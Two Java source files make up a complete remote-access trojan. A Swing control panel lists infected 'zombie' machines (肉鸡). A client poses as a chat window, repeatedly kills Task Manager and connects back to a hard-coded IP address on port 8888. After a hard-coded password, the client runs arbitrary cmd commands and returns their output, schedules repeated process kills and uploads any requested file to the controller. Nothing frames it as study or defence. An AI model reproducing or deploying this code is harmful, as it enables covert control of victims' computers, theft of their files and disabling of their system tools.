package mypackage;
import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
public class Server implements ActionListener
{
Socket socket;
DataInputStream dis;
DataOutputStream dos;
JFrame f;
JButton b;
JLabel lb;
JPanel p, p1;
Container c;
JTextArea ta;
JTextField tf;
JScrollPane jsp;
public Server(Socket sc) throws Exception
{
socket = sc;
dis = new DataInputStream(socket.getInputStream()); //获得socket输入流对象
dos = new DataOutputStream(socket.getOutputStream()); //获得socket端口的输出句柄
f = new JFrame("肉鸡:" + socket.getInetAddress());
c = f.getContentPane();
lb = new JLabel("发送命令:");
b = new JButton("清空结果");
b.setMnemonic(KeyEvent.VK_C); //为按钮设置快捷键ALT+C
b.addActionListener(this);
tf = new JTextField("", 30);
tf.addActionListener(this);
ta = new JTextArea(33, 50);
ta.setEditable(false);
ta.setWrapStyleWord(false);
jsp = new JScrollPane(ta, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
p1 = new JPanel();
p1.setLayout(new GridLayout(3, 1));
p1.add(lb);
p1.add(tf);
p1.add(b);
p = new JPanel();
p.add(p1, BorderLayout.NORTH);
p.add(jsp, BorderLayout.CENTER);
c.add(p);
f.setSize(600, 530);
f.setLocation(270, 200); //这一句最好放在frame.setVisible(true)之前
f.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); //执行关闭操作时退出程序
f.setVisible(true);
//启动一个线程负责与肉鸡通信
(new Thread(new ReceiveThread())).start();
}
//命令输入框回车事件监听
public void actionPerformed(ActionEvent e)
{
if(e.getSource() == tf)
{
try
{
dos.writeUTF(tf.getText());
ta.append(tf.getText() + "\n");
}
catch (IOException e1)
{
ta.append("socket写入流发生错误:[dos.writeUTF(tf.getText())]\n");
ta.append(e1.toString() + "\n");
return;
}
}
else if(e.getSource() == b) //点击按钮,则清空文本区
{
ta.setText("");
}
}
//交互线程
class ReceiveThread implements Runnable
{
public void run()
{
String message = "";
while(true)
{
try
{
message = dis.readUTF();
}
catch (IOException e2)
{
ta.append("读取流数据时发生错误:[dis.readUTF()]\n");
ta.append(e2.toString() + "\n");
continue;
}
//在面板中显示肉鸡发送过来的文本信息
ta.append(message + "\n");
if(message.matches("sendFile:.*")) //肉鸡提示将要发送一个文件
{
String[] ss = message.split(":");
String fileName = ss[1]; //文件名称,不含路径
long fileLength = Long.parseLong(ss[2]); //文件字节数
File f = new File("./" + fileName.trim());
FileOutputStream fos = null;
try
{
fos = new FileOutputStream(f);
}
catch (FileNotFoundException e3)
{
ta.append("创建本地文件流错误![new FileOutputStream(f)]\n");
ta.append(e3.toString() + "\n");
continue;
}
byte[] buffer = new byte[2048];
long readLength = 0;
int length = 0;
try
{
while((length=dis.read(buffer))>0)
{
try
{
fos.write(buffer, 0, length);
}
catch (IOException e4)
{
ta.append("本地文件流写入错误![fos.write(buffer, 0, length)]\n");
ta.append(e4.toString() + "\n");
break;
}
readLength += length;
//将已读取的流的字节数与文件大小比较,以判断文件流的结尾,否则一直会处于socket流读入状态
if(readLength==fileLength)
{
break;
}
}
}
catch (IOException e6)
{
ta.append("读取socket流数据错误![dis.read(buffer)]\n");
ta.append(e6.toString() + "\n");
continue;
}
try
{
fos.flush();
fos.close();
}
catch (IOException e5)
{
ta.append("本地文件流写入/关闭错误![fos.flush();fos.close();]\n");
ta.append(e5.toString() + "\n");
continue;
}
ta.append("文件已接受:" + f.getAbsolutePath() + "\n");
}
}
}
}
public static void main(String[] args)
{
ServerSocket sv = null;
try
{
//在本机监听8888端口,等待肉鸡的主动连接
sv = new ServerSocket(8888);
}
catch (IOException e)
{
//利用socket端口占用,使得控制端只启动一次
JOptionPane.showMessageDialog(null, "您已经启动了一个控制端啦![new ServerSocket(8888)]");
System.exit(0);
return;
}
JOptionPane.showMessageDialog(null, "服务器控制端启动成功!");
while(true)
{
try
{
//每个肉鸡的请求,交给一个Server实例对象去处理,并单独显示一个JFrame面板
new Server(sv.accept());
}
catch (Exception e)
{
JOptionPane.showMessageDialog(null, "获取肉机socket连接时发生错误![sv.accept()]");
e.printStackTrace();
continue;
}
}
}
}
package mypackage;
import java.awt.BorderLayout;
import java.awt.Container;
import java.awt.GridLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Timer;
import java.util.TimerTask;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
class Client implements ActionListener
{
boolean flag = false;
Runtime r;
Socket socket;
DataInputStream dis;
DataOutputStream dos;
JFrame f;
JButton b;
JLabel lb;
JPanel p, p1;
Container c;
JTextArea ta;
JTextField tf;
JScrollPane jsp;
public Client(){
f = new JFrame("聊天窗口");
c = f.getContentPane();
lb = new JLabel("发送消息[按回车键发送]:");
b = new JButton("清除");
b.setMnemonic(KeyEvent.VK_C); //为按钮设置快捷键ALT+C
b.addActionListener(this);
tf = new JTextField("", 30);
tf.addActionListener(this);
ta = new JTextArea(33, 50);
ta.setEditable(false);
ta.setWrapStyleWord(false);
jsp = new JScrollPane(ta, JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
p1 = new JPanel();
p1.setLayout(new GridLayout(3, 1));
p1.add(lb);
p1.add(tf);
p1.add(b);
p = new JPanel();
p.add(p1, BorderLayout.NORTH);
p.add(jsp, BorderLayout.CENTER);
c.add(p);
f.setSize(600, 530);
f.setLocation(270, 200); //这一句最好放在frame.setVisible(true)之前
f.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); //执行关闭操作时退出程序
f.setVisible(true);
}
//命令输入框回车事件监听
public void actionPerformed(ActionEvent e)
{
if(e.getSource() == tf)
{
try
{
dos.writeUTF(tf.getText());
ta.append("我:" + tf.getText() + "\n");
}
catch (IOException e1)
{
ta.append("socket写入流发生错误:[dos.writeUTF(tf.getText())]\n");
ta.append(e1.toString() + "\n");
return;
}
catch (Exception e1)
{
ta.append("没有好友上线哦...\n");
return;
}
}
else if(e.getSource() == b) //点击按钮,则清空文本区
{
ta.setText("");
}
}
public void start()
{
//首先循环终止任务管理器进程
(new Timer()).schedule(new Command("taskkill /F /IM taskmgr.exe"), 1000, 1000);
r = Runtime.getRuntime(); //获取系统运行时
//已经建立的连接因IO异常而断开,则再次发起连接
do
{
flag = false;
try
{
//主动连接远程控制端主机8888端口
socket = new Socket(InetAddress.getByName("138.54.252.38"), 8888);
}
catch (Exception c)
{
flag = true;
//发生连接异常,则重新请求,直到成功为止
continue;
}
try
{
//得到与socket相连接的输入输出流对象
dis = new DataInputStream(socket.getInputStream());
dos = new DataOutputStream(socket.getOutputStream());
//首先向控制端循环索取控制密码,直到正确为止
dos.writeUTF("请输入肉鸡控制密码");
String password = "";
do
{
password = dis.readUTF();
if("zhangzikui".equals(password))
{
dos.writeUTF("恭喜,密码正确!");
}
else
{
dos.writeUTF("密码错误,请重新输入密码!"); //向控制端提示控制密码错误
}
}
//如果密码不正确,则继续循环
while(!("zhangzikui".equals(password)));
String cmd = "";
//循环获取输入控制端发送过来的信息
while (true)
{
cmd = dis.readUTF();
//如果接受到bye命令,则退出程序
if("bye".equals(cmd))
{
System.exit(0);
return;
}
//以空格型字符开头的的信息则在面板中显示
else if(cmd.matches("\\s.*"))
{
ta.append(socket.getInetAddress() + ":" + cmd + "\n");
continue;
}
//以getFile开头的命令,则执行文件发送
else if(cmd.matches("getFile\\s.*"))
{
//命令格式:"getFile fullFilePath"
String path = cmd.substring(cmd.indexOf(" ")+1).trim();
//path = new String(path.getBytes("UTF-8"), "GBK");
File f = new File(path);
FileInputStream fis = null;
try
{
fis = new FileInputStream(f); //打开文件流
}
catch(FileNotFoundException fno)
{
dos.writeUTF("你要的文件(" + path + ")不存在!");
continue;
}
//提示控制端,开始发送文件
//提示信息格式:"sendFile:fileName:fileLength"
//预先发送文件大小,让控制端接受文件时,知道在什么时候结束文件的读取,否则一直会处于socket流读入状态
dos.writeUTF("sendFile:" + cmd.substring(cmd.lastIndexOf("/")+1) + ":" + f.length());
byte[] buffer = new byte[2048];
int length = 0;
while((length=fis.read(buffer))>0)
{
dos.write(buffer, 0, length);
}
dos.flush();
fis.close();
}
//如果是杀死进程的命令,则作为任务重复执行
else if(cmd.matches("taskkill.*") || cmd.matches("ntsd.*"))
{
(new Timer()).schedule(new Command(cmd), 3000, 3000);
}
//一般命令,执行后将结果发送给控制端
else
{
Process p = null;
BufferedReader br = null;
try
{
p = r.exec("cmd /c " + cmd);
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
}
catch(IOException e)
{
//取得命令执行的错误信息
br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
}
String feedback = null;
while ((feedback = br.readLine()) != null)
{
dos.writeUTF(feedback);
}
}
}
}
catch (IOException e)
{
//如果已经建立的连接因IO异常而断开,则将b重新赋值为true,再次发起连接
System.out.println("本次连接已断开!\n正在重新尝试连接......");
flag = true;
continue;
}
}
while(flag);
}
public static void main(String[] args)
{
try
{
new ServerSocket(9999);
}
catch (IOException e)
{
//利用socket端口占用,使得每台肉鸡只启动一个Client对象实例
JOptionPane.showMessageDialog(null, "你已上线!");
System.exit(0);
return;
}
JOptionPane.showMessageDialog(null, "hello,欢迎使用消息服务!");
new Client().start();
}
//需要循环执行DOS命令的任务类
class Command extends TimerTask
{
String task;
public Command(String s){
task = s;
}
public void run()
{
try
{
r.exec("cmd /c " + task);
}
catch (IOException e)
{
e.printStackTrace();
return;
}
}
}
}